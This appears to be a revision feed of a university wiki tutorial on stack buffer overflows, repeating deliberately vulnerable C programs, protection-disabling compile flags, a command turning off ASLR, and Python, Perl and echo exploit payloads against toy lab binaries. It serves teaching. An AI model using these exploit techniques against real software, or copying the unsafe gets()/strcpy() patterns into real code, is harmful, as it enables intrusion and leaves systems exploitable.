&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17002</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17002"/>
		<updated>2024-12-11T18:04:16Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Example 3: Control Flow Alteration by Stack Overflow Exploitation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17001</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17001"/>
		<updated>2024-12-11T18:03:38Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Example 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
